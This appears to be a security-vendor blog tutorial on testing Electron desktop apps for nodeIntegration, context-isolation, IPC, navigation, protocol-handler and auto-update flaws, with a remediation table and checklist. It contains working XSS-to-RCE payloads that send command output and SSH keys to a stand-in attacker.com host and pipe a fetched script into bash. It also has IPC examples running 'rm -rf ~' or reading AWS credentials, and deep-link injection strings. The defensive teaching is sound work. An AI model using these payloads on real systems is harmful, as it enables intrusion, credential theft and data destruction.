Electron Application Security Testing: nodeIntegration, XSS to RCE, and Context Isolation

Electron powers more enterprise software than most security teams realize. VS Code, Slack, Discord, Microsoft Teams, Figma, 1Password, Notion, Obsidian — the list is long and growing. Each of these apps ships a full Chromium browser and a Node.js runtime in a single binary, running with the user's filesystem access and without a browser sandbox. When XSS occurs in an Electron app with legacy settings, the impact isn't data exfiltration — it's arbitrary code execution on the user's machine.

This matters for AppSec teams at companies building internal tooling, B2B desktop products, or distributing company-managed desktop applications. It also matters for pentesters assessing third-party software used within an organization. The attack surface is distinct from web applications, and the severity ceiling is meaningfully higher.

Electron Architecture and the Security Model

Electron has two process types:

The key security settings that determine the attack surface:

Setting Secure Value Vulnerable Value Impact if Vulnerable
nodeIntegration false true XSS → full Node.js access → RCE
contextIsolation true false Renderer can access preload script globals
sandbox true false Renderer runs without OS-level sandbox
webSecurity true false Same-origin policy disabled; cross-origin reads allowed
allowRunningInsecureContent false true HTTP content in HTTPS context; mixed-content attacks
experimentalFeatures false true Unstable Chromium features exposed

Reconnaissance: Reading the App's Security Configuration

Before testing for specific vulnerabilities, establish what the app's configuration actually is. Electron apps ship with their source code accessible — the application resources (the JavaScript, HTML, and configuration) are typically bundled in an asar archive that can be extracted.

# Install asar extraction tool
npm install -g asar

# Locate the app resources
# macOS
ls /Applications/AppName.app/Contents/Resources/
# Linux
ls /opt/AppName/resources/
# Windows
ls "C:\Program Files\AppName\resources\"

# Extract the asar bundle
asar extract /Applications/AppName.app/Contents/Resources/app.asar ./app-extracted/

# Look for BrowserWindow configuration
grep -r "nodeIntegration\|contextIsolation\|sandbox\|webSecurity" ./app-extracted/ --include="*.js"

# Check for webPreferences in main process
grep -r "webPreferences" ./app-extracted/ --include="*.js" -A 10

Pay particular attention to how each BrowserWindow is created. Legacy Electron apps often have the main window secured but create secondary windows (popups, child windows, devtools extensions) with weaker settings:

# In the extracted source, look for:
new BrowserWindow({
  webPreferences: {
    nodeIntegration: true,    // ← critically dangerous
    contextIsolation: false,  // ← allows preload bypass
    sandbox: false,           // ← no OS sandbox
    webSecurity: false,       // ← SOP disabled
  }
})

# Also check window.open() and new-window event handlers
# and webContents.setWindowOpenHandler()

Attack 1: XSS to Remote Code Execution (nodeIntegration: true)

Severity: Critical If nodeIntegration: true, any XSS in the renderer has access to the full Node.js API. This means arbitrary file system access, child process execution, and native module loading.

The payload is different from a standard XSS because the execution context includes Node.js globals:

# Standard XSS payload
<script>alert(document.cookie)</script>

# Electron XSS with nodeIntegration: true — executes OS commands
<script>
require('child_process').exec('id; whoami; hostname', (err, stdout) => {
  fetch('https://attacker.com/exfil?data=' + btoa(stdout));
});
</script>

# Read filesystem
<script>
const fs = require('fs');
const data = fs.readFileSync('/Users/' + require('os').userInfo().username + '/.ssh/id_rsa', 'utf8');
fetch('https://attacker.com/exfil?key=' + btoa(data));
</script>

# Establish persistent access
<script>
const { exec } = require('child_process');
exec('curl https://attacker.com/payload.sh | bash');
</script>

Finding XSS entry points in Electron apps requires thinking about where user-controlled content gets rendered. Common vectors:

Attack 2: Context Isolation Bypass

Severity: High With contextIsolation: false, the renderer can access and overwrite objects defined in the preload script, potentially reaching privileged IPC channels.

Modern secure Electron apps use a preload script as an intermediary. The preload runs in a privileged context and exposes specific, limited capabilities to the renderer via contextBridge. With contextIsolation: false, the renderer shares the same JavaScript context as the preload, allowing it to overwrite or intercept preload-defined functions:

# Preload script (intended to expose only specific functions)
contextBridge.exposeInMainWorld('electronAPI', {
  openFile: () => ipcRenderer.invoke('open-file'),
  sendToMain: (data) => ipcRenderer.send('data-channel', data)
});

# With contextIsolation: false, the renderer can directly access ipcRenderer
# and send arbitrary messages to the main process:
<script>
// Access preload context directly
const { ipcRenderer } = require('electron');  // works with nodeIntegration:true
// Or access pre-exposed globals
window.electronAPI.sendToMain({ command: 'exec', payload: 'rm -rf ~' });
</script>

Testing context isolation:

# In the app's DevTools console (Ctrl+Shift+I)
# Check if preload script globals are accessible
console.log(window.__webpack_require__);  // often exposed in bundled apps
console.log(window.require);             // Node.js require if nodeIntegration:true
console.log(window.process);             // process object if accessible

# Check if ipcRenderer is accessible
try {
  const { ipcRenderer } = require('electron');
  console.log('nodeIntegration enabled — ipcRenderer accessible');
} catch (e) {
  console.log('nodeIntegration disabled');
}

# Check what's exposed via contextBridge
console.log(Object.keys(window));  // look for custom electron APIs

Attack 3: IPC Channel Abuse

Severity: High The main process exposes IPC channels without validating the sender, allowing renderer code to trigger privileged operations.

Even with nodeIntegration: false and contextIsolation: true, the IPC channels exposed by the main process are a trust boundary that must be tested. If the main process handles arbitrary shell commands or file operations without validating the source and content, a renderer XSS can exploit those channels through the legitimately exposed contextBridge API:

# Example: main process handles 'shell-exec' channel
# In main.js (from extracted source)
ipcMain.handle('shell-exec', async (event, command) => {
  return exec(command);  // ← no allowlist, executes arbitrary commands
});

# Exploitation via contextBridge — if sendToMain is exposed:
window.electronAPI.sendToMain('shell-exec', 'cat ~/.aws/credentials');

# Or through direct IPC if contextIsolation is false:
ipcRenderer.invoke('shell-exec', 'id')

When reviewing IPC handlers, look for:

Attack 4: Navigation to Arbitrary URLs

Severity: High The application loads attacker-controlled external content in a window with elevated privileges.

If a renderer can navigate the main window (or a popup) to an arbitrary external URL, and that window has nodeIntegration: true, the attacker's page gains Node.js access. Test whether navigation is restricted:

# In DevTools console — attempt to navigate to external URL
window.location = 'https://attacker.com/exploit.html';

# Or open a new privileged window
window.open('https://attacker.com/exploit.html', '_blank');

# Check for will-navigate and did-navigate-in-page event handlers in main process
grep -r "will-navigate\|did-navigate\|new-window\|setWindowOpenHandler" ./app-extracted/

# Secure app should have:
mainWindow.webContents.on('will-navigate', (event, navigationUrl) => {
  const parsedUrl = new URL(navigationUrl);
  if (parsedUrl.origin !== 'https://app.example.com') {
    event.preventDefault();
  }
});

Attack 5: Protocol Handler Abuse

Severity: Medium–High Custom protocol handlers register the app to handle URI scheme clicks (e.g., myapp://) from the browser, but fail to sanitize the URL before acting on it.

Electron apps often register as the OS handler for a custom URI scheme to support deep-linking from the browser (e.g., vscode://, slack://). If a user clicks a malicious link in the browser, it can invoke the Electron app with attacker-controlled parameters.

# Check registered protocol handlers in extracted source
grep -r "setAsDefaultProtocolClient\|protocol.registerHttpProtocol" ./app-extracted/

# The main process receives the URL via open-url event (macOS) or argv (Windows/Linux)
app.on('open-url', (event, url) => {
  handleDeepLink(url);  // ← is this safely parsed?
});

# Attack: craft a malicious deep link
# If the app processes: myapp://action?file=/path/to/file
# Test: myapp://action?file=../../etc/passwd
# Or: myapp://action?url=javascript:require('child_process').exec('id')

# Trigger from browser
<a href="myapp://action?command=calc.exe">click</a>

Attack 6: Insecure Auto-Update Mechanism

Severity: Critical The update mechanism fetches and executes code without signature verification over HTTP or from an unauthenticated source.

Auto-update is a code execution mechanism by design. The security question is whether the downloaded code is authenticated before execution:

# Intercept auto-update requests with Burp Suite
# Look for update checks to HTTP endpoints (not HTTPS)
# Check for signature verification in the update client
grep -r "autoUpdater\|electron-updater\|update-electron-app" ./app-extracted/

# Check if the update URL is configurable
grep -r "feedURL\|updateURL\|setFeedURL" ./app-extracted/

# Verify signature checking is enabled
grep -r "verifySignature\|publisherName\|releaseType" ./app-extracted/

# Test: Does the update endpoint use HTTPS?
# Test: Is the update package signature verified before install?
# Test: Can the update URL be overridden via environment variable or config file?

# Electron-builder signature check (secure):
autoUpdater.on('update-downloaded', () => {
  // electron-builder verifies code signature before install
  autoUpdater.quitAndInstall();
});

Additional Attack Surfaces

DevTools in Production

# Check if DevTools can be opened in the production app
# (keyboard shortcut: F12, Ctrl+Shift+I, Cmd+Option+I)
grep -r "openDevTools\|devTools\|inspectElement" ./app-extracted/

# Secure apps disable devtools in production:
if (process.env.NODE_ENV === 'development') {
  mainWindow.webContents.openDevTools();
}

# Test: can DevTools be opened? If yes, you have a REPL in the renderer context

Local HTTP Server

# Some Electron apps run a local HTTP server for IPC or dev tooling
# If this server is accessible from the network (0.0.0.0 instead of 127.0.0.1)
# other machines on the same network can interact with it
grep -r "listen\|createServer" ./app-extracted/ | grep -v "test\|spec\|mock"

# Check for DNS rebinding vulnerabilities if app has local HTTP server

Unsafe Deserialization

# Electron apps often persist state via localStorage, SQLite, or config files
# Check for unsafe deserialization of stored data
grep -r "JSON.parse\|deserialize\|unserialize\|eval" ./app-extracted/ | grep -v node_modules

# Stored XSS via persisted data that gets rendered without sanitization
# Check how stored data (from previous sessions or synced from server) is rendered

Practical Testing Checklist

  1. Extract the app.asar bundle and search for nodeIntegration, contextIsolation, sandbox, and webSecurity settings in all BrowserWindow and webview configurations.
  2. Open DevTools (F12 / Ctrl+Shift+I). Check if window.require, window.process, or window.module are accessible from the console.
  3. Find every point where user-controlled content is rendered as HTML. Test standard XSS payloads, then escalate with Node.js payloads if nodeIntegration is enabled.
  4. Review all IPC channel handlers in the main process. Check for unsafe operations (exec, filesystem access, network requests) that accept renderer input without sanitization.
  5. Test navigation restrictions: from DevTools, attempt window.location = 'https://google.com' and window.open('https://google.com').
  6. Identify registered custom protocol handlers. Craft deep links with path traversal, JavaScript protocol, and other injection payloads.
  7. Intercept auto-update traffic. Verify HTTPS is used and code signature verification is enforced before install.
  8. Check for local HTTP server listeners using netstat -an | grep LISTEN. Test if bound to all interfaces vs. localhost only.
  9. Check Electron version: older versions have known CVEs. process.versions.electron in the DevTools console.
  10. Review CSP headers on loaded pages — Electron apps should enforce CSP even though they're not a browser in the traditional sense.

Key Remediation Points

Issue Fix
nodeIntegration: true Set to false. Use preload + contextBridge for any Node.js access the renderer legitimately needs.
contextIsolation: false Set to true. This is the default in Electron 12+.
Navigation not restricted Add will-navigate and setWindowOpenHandler handlers that allowlist valid origins.
Unsafe IPC handlers Validate event.sender.getURL(). Use allowlists for accepted commands/paths. Never exec arbitrary renderer input.
No update signature verification Use electron-builder's code signing + auto-update signature check. Never fetch updates over HTTP.
DevTools accessible in production Gate openDevTools() on NODE_ENV === 'development'.
Protocol handler injection Parse and validate deep link URLs before acting on them. Allowlist expected parameters and values.

Ironimo tests your web application and API endpoints for the same vulnerability classes that escalate to critical impact in Electron apps — XSS, injection, authentication bypass — using the Kali Linux toolset professional pentesters use.

On-demand and scheduled scanning. Each finding includes the exact request, the response, and a remediation path.

Start free scan
← Back to blog